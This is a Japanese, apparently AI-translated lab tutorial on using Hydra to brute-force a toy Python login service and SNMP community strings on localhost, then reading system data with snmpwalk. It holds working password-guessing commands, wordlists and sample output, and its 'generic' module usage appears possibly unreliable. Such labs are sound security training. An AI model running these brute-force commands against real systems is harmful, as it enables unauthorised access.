非対応プロトコルで Hydra をテストする

HydraHydraBeginner
今すぐ練習

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、Hydra を使用して、サポートされていないプロトコルを持つサービスを含む、サービスのセキュリティをテストする方法を学びます。この実験では、Python スクリプトで実装された偽のサービスに対する攻撃をシミュレートすることから始め、Hydra の基本機能を理解することができます。

ユーザー名とパスワードを必要とする単純な Python ベースのサービスを作成し、Hydra が使用する対応するユーザー名とパスワードのリストも作成します。その後、この実験では、このサービスに対する攻撃の試行、潜在的なエラーのレビュー、SNMP サービスへの攻撃方法の探索、最終的には SNMP 攻撃の結果の確認までを案内します。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL hydra(("Hydra")) -.-> hydra/HydraGroup(["Hydra"]) hydra/HydraGroup -.-> hydra/single_username("Single Username Attack") hydra/HydraGroup -.-> hydra/single_password("Single Password Attack") hydra/HydraGroup -.-> hydra/target_ip("Target IP Specification") hydra/HydraGroup -.-> hydra/target_service("Target Service Selection") hydra/HydraGroup -.-> hydra/verbose_mode("Verbose Mode Usage") hydra/HydraGroup -.-> hydra/success_detection("Login Success Detection") hydra/HydraGroup -.-> hydra/error_handling("Error Message Handling") hydra/HydraGroup -.-> hydra/troubleshooting("Basic Troubleshooting") subgraph Lab Skills hydra/single_username -.-> lab-550775{{"非対応プロトコルで Hydra をテストする"}} hydra/single_password -.-> lab-550775{{"非対応プロトコルで Hydra をテストする"}} hydra/target_ip -.-> lab-550775{{"非対応プロトコルで Hydra をテストする"}} hydra/target_service -.-> lab-550775{{"非対応プロトコルで Hydra をテストする"}} hydra/verbose_mode -.-> lab-550775{{"非対応プロトコルで Hydra をテストする"}} hydra/success_detection -.-> lab-550775{{"非対応プロトコルで Hydra をテストする"}} hydra/error_handling -.-> lab-550775{{"非対応プロトコルで Hydra をテストする"}} hydra/troubleshooting -.-> lab-550775{{"非対応プロトコルで Hydra をテストする"}} end

偽のサービスへの攻撃の試行

このステップでは、Hydra を使用して偽のサービスに対する攻撃をシミュレートします。これにより、Hydra の動作原理とパスワードをクラックするための使用方法を理解するのに役立ちます。まずは簡単なシナリオから始めて、このツールに慣れていきましょう。

まず、ユーザー名とパスワードを必要とする簡単な「サービス」を作成します。この目的のために、簡単な Python スクリプトを使用します。

プロジェクトディレクトリに移動します。

cd ~/project

fake_service.py という名前のファイルを作成します。

nano fake_service.py

以下の Python コードを fake_service.py ファイルに貼り付けます。

#!/usr/bin/env python3

import socket
import sys

HOST = '127.0.0.1'  ## Standard loopback interface address (localhost)
PORT = 65432        ## Port to listen on (non-privileged ports are > 1023)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()
    conn, addr = s.accept()
    with conn:
        print(f"Connected by {addr}")
        username = conn.recv(1024).decode().strip()
        password = conn.recv(1024).decode().strip()

        if username == 'testuser' and password == 'password123':
            conn.sendall(b"Login successful!")
        else:
            conn.sendall(b"Login failed.")

ファイルを保存し、エディタを終了します。スクリプトを実行可能にします。

chmod +x fake_service.py

次に、偽のサービスをバックグラウンドで実行します。

./fake_service.py &

これにより、Python スクリプトが起動し、ポート 65432 で接続を待ち受けます。& はプロセスをバックグラウンドで実行するためのものです。

次に、Hydra が使用するユーザー名とパスワードのリストを作成します。users.txt という名前のファイルを作成します。

nano users.txt

以下のユーザー名をファイルに追加します。

testuser

ファイルを保存し、エディタを終了します。

passwords.txt という名前のファイルを作成します。

nano passwords.txt

以下のパスワードをファイルに追加します。

password
password123
wrongpassword

ファイルを保存し、エディタを終了します。

では、Hydra を使用して偽のサービスに攻撃しましょう。カスタムサービスを作成したので、generic モジュールを使用します。

hydra -l testuser -P passwords.txt 127.0.0.1 generic "USER <USER> PASS <PASS> RET Login successful!" -s 65432 -vV

このコマンドを分解して説明します。

  • hydra: Hydra コマンド。
  • -l testuser: 使用するユーザー名を指定します。この例では単一のユーザー名を使用しています。
  • -P passwords.txt: パスワードリストファイルを指定します。
  • 127.0.0.1: ターゲットの IP アドレス(この場合はローカルホスト)。
  • generic: 汎用モジュールを指定します。これにより、プロトコルを定義することができます。
  • "USER <USER> PASS <PASS> RET Login successful!": これはプロトコル定義です。<USER><PASS> は、Hydra がリストからのユーザー名とパスワードで置き換えるプレースホルダーです。RET Login successful! は、成功したログインを判断するために、レスポンスに "Login successful!" が含まれていることを Hydra に指示します。
  • -s 65432: ポート番号を指定します。
  • -vV: 詳細モードで、試行をリアルタイムで表示します。

Hydra が異なるパスワードを試行しているのが見えるはずです。数秒後、正しいパスワードが見つかるはずです。

Hydra v9.6 (c) 2024 by van Hauser/THC & David Maciejak - Please use caution!

Hydra starting at 2024-10-27 14:30:00
[DATA] 1 task/1 service (1 connection per task, 1 thread per task)
[DATA] attacking service 127.0.0.1 on port 65432
[DATA] testing user: 'testuser'   password: 'password'
[DATA] testing user: 'testuser'   password: 'password123'
[65432] [generic] host: 127.0.0.1   login: testuser   password: password123
Hydra is finishing at 2024-10-27 14:30:02 after 00:00:02
1 task completed, 1 valid password found

この出力は、Hydra がユーザー testuser のパスワード password123 を正常に見つけたことを示しています。

最後に、偽のサービスを停止しましょう。まず、そのプロセス ID を見つけます。

ps aux | grep fake_service.py

次のような行が表示されるはずです。

labex     1234  0.1  0.2  12345  6789 pts/0    Sl   14:29   0:00 ./fake_service.py

2 番目の数字(この例では 1234)がプロセス ID (PID) です。1234 を実際の出力からの PID に置き換えます。

では、プロセスを終了します。

kill 1234

これで偽のサービスが停止します。

エラーとサポートされるサービスの確認

このステップでは、Hydra を使用する際に遭遇する一般的なエラーを調査し、サポートされるサービスを識別する方法を学びます。これらの側面を理解することは、効果的なパスワードクラッキングに不可欠です。

まず、意図的に Hydra でエラーを発生させましょう。高いポートで存在しないサービスに対して攻撃を試みます。

hydra -l testuser -P passwords.txt 127.0.0.1 generic "USER <USER> PASS <PASS> RET Login successful!" -s 65535 -vV

このコマンドは前のステップで使用したものと似ていますが、ポートを 65535 に変更しています。このポートではサービスが実行されている可能性は低いです。

コマンドを実行します。おそらく次のようなエラーメッセージが表示されるでしょう。

Hydra v9.6 (c) 2024 by van Hauser/THC & David Maciejak - Please use caution!

Hydra starting at 2024-10-27 14:35:00
[ERROR] Could not connect to 127.0.0.1:65535 - Connection refused

この「Connection refused」エラーは、Hydra が指定されたポートに接続できなかったことを示しています。これはいくつかの理由によるものです。そのポートでサービスが待ち受けていない、ファイアウォールが接続をブロックしている、またはターゲットホストに到達できないなどが考えられます。

次に、Hydra がサポートするサービスを判断する方法を調べましょう。Hydra には多くの一般的なサービス用の組み込みモジュールがあり、これらのサービスを攻撃しやすくしています。サポートされるサービスのリストを表示するには、-h オプションを使用できます。

hydra -h

このコマンドは、サポートされるモジュールのリストを含むヘルプメッセージを表示します。出力をスクロールして、「Supported protocols」セクションを見つけます。ftpsshsmtphttp-getmysqlsnmp などのプロトコルのリストが表示されます。

たとえば、SSH サービスを攻撃したい場合は、ssh モジュールを使用します。FTP サービスを攻撃したい場合は、ftp モジュールを使用します。

もう 1 つの例を試してみましょう。HTTP サービスを攻撃したいとします。Web サーバーで使用されている認証方法に応じて、http-get または http-post モジュールを使用できます。

特定のモジュールに関する詳細情報を取得するには、-U オプションの後にモジュール名を指定します。たとえば、http-get モジュールに関する情報を取得するには、次のようにします。

hydra -U http-get

これにより、http-get モジュールの使用方法や構文が表示されます。URL や特定の HTTP ヘッダーなどの必須パラメータに注意してください。

エラーメッセージを理解し、Hydra がサポートするサービスを知ることは、トラブルシューティングや成功した攻撃を行うために不可欠です。次のステップでは、SNMP サービスへの攻撃に焦点を当てます。

SNMP サービスへの攻撃

このステップでは、Hydra を使用して SNMP コミュニティ文字列のクラッキングを試みます。SNMP (Simple Network Management Protocol、シンプルネットワーク管理プロトコル) は、ネットワークデバイスを管理するために使用されます。コミュニティ文字列はパスワードのような役割を果たし、デフォルトまたは脆弱なコミュニティ文字列は一般的な脆弱性の原因となります。

まず、一般的な SNMP コミュニティ文字列のワードリストを作成しましょう。

プロジェクトディレクトリに移動します。

cd ~/project

snmp_communities.txt という名前のファイルを作成します。

nano snmp_communities.txt

以下の一般的なコミュニティ文字列をファイルに追加します。

public
private
community
secret
admin

ファイルを保存し、エディタを終了します。

次に、Hydra を使用して SNMP サービスに攻撃します。SNMP サービスがローカルホスト (127.0.0.1) のデフォルトポート (161) で実行されていると仮定します。

hydra -P snmp_communities.txt 127.0.0.1 snmp -vV

このコマンドを分解して説明します。

  • hydra: Hydra コマンド。
  • -P snmp_communities.txt: コミュニティ文字列を含むパスワードリストファイルを指定します。
  • 127.0.0.1: ターゲットの IP アドレス(この場合はローカルホスト)。
  • snmp: SNMP モジュールを指定します。
  • -vV: 詳細モードで、試行をリアルタイムで表示します。

コマンドを実行します。Hydra が異なるコミュニティ文字列を試行しているのが見えるはずです。ターゲットの SNMP サービスがリスト内のコミュニティ文字列を使用している場合、Hydra はそれを見つけます。

「public」コミュニティ文字列を見つけた場合、出力は次のようになるかもしれません。

Hydra v9.6 (c) 2024 by van Hauser/THC & David Maciejak - Please use caution!

Hydra starting at 2024-10-27 14:40:00
[DATA] 1 task/1 service (1 connection per task, 1 thread per task)
[DATA] attacking service 127.0.0.1 on port 161
[161] [snmp] host: 127.0.0.1 community: public
Hydra is finishing at 2024-10-27 14:40:01 after 00:00:01
1 task completed, 1 valid password found

この出力は、Hydra がコミュニティ文字列 public を正常に見つけたことを示しています。

Hydra が有効なコミュニティ文字列を見つけられない場合、リスト内のすべての文字列を試行した後、成功したログインの表示なしに終了します。

この実験では、SNMP サービスが脆弱なコミュニティ文字列でデフォルトポートで実行されていることを前提としていることに注意してください。実際のシナリオでは、ターゲットの IP アドレスとポートを特定し、より包括的なワードリストを使用する必要があります。また、nmap などのツールを使用して、SNMP サービスが実行されているかどうかとそのバージョンを特定する必要があるかもしれません。

SNMP 攻撃の結果を確認する

このステップでは、発見したコミュニティ文字列を使用して SNMP サービスから情報を取得することで、SNMP 攻撃の結果を確認します。この目的のために snmpwalk コマンドを使用します。

まず、snmpwalk コマンドがインストールされていることを確認してください。これは snmp パッケージの一部です。まだインストールされていない場合は、次のコマンドでインストールできます。

sudo apt update
sudo apt install snmp -y

Docker コンテナ内で作業しているため、sudo apt updatesudo apt install snmp -y はおそらく失敗します。この実験では、snmpwalk がすでにインストールされていると仮定します。

次に、前のステップで(うまくいけば)発見したコミュニティ文字列を使用して、snmpwalk を使って SNMP サービスから情報を取得しましょう。コミュニティ文字列が "public" であると仮定します。

snmpwalk -v 1 -c public 127.0.0.1

このコマンドを分解して説明します。

  • snmpwalk: SNMP walk コマンド。
  • -v 1: SNMP のバージョンを指定します(この場合はバージョン 1)。
  • -c public: コミュニティ文字列を指定します(この例では "public")。"public" を実際に発見したコミュニティ文字列に置き換えてください。
  • 127.0.0.1: ターゲットの IP アドレス(この場合はローカルホスト)。

コマンドを実行します。コミュニティ文字列が正しければ、大量の出力がスクロール表示されるはずです。この出力は、SNMP サービスから取得した情報を表しています。

出力は次のような行で構成されます。

SNMPv2-MIB::sysDescr.0 = STRING: Linux labex 5.15.0-86-generic #96-Ubuntu SMP Fri Oct 6 15:55:15 UTC 2023 x86_64
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (145678) 0:24:16.78
SNMPv2-MIB::sysContact.0 = STRING:
SNMPv2-MIB::sysName.0 = STRING: labex
SNMPv2-MIB::sysLocation.0 = STRING:

この出力には、システムの説明、オブジェクト ID、稼働時間、連絡先情報、システム名、および場所など、さまざまなシステム情報が表示されます。

「Timeout: No Response from 127.0.0.1」のようなエラーメッセージが表示された場合は、コミュニティ文字列が間違っているか、SNMP サービスが実行されていないか、またはネットワーク接続に問題があることを意味します。コミュニティ文字列を再確認し、ターゲットホストで SNMP サービスが実行されていることを確認してください。

発見したコミュニティ文字列で snmpwalk を正常に使用することで、SNMP 攻撃の結果を確認し、SNMP サービスから情報を取得する能力を実証しました。これは、SNMP サービスを不正アクセスから保護するために、強力で一意のコミュニティ文字列を使用する重要性を強調しています。

まとめ

この実験では、まず Hydra を使用して偽のサービスに対する攻撃をシミュレートし、その機能とパスワードクラッキング能力を理解しました。ユーザー名とパスワードによる認証が必要な、ポート 65432 で待機する単純な Python ベースのサービスを作成しました。

次に、Hydra が攻撃に使用するためのユーザー名とパスワードのリスト (users.txtpasswords.txt) を準備しました。偽のサービスはバックグラウンドで起動され、接続試行を受け付ける準備ができました。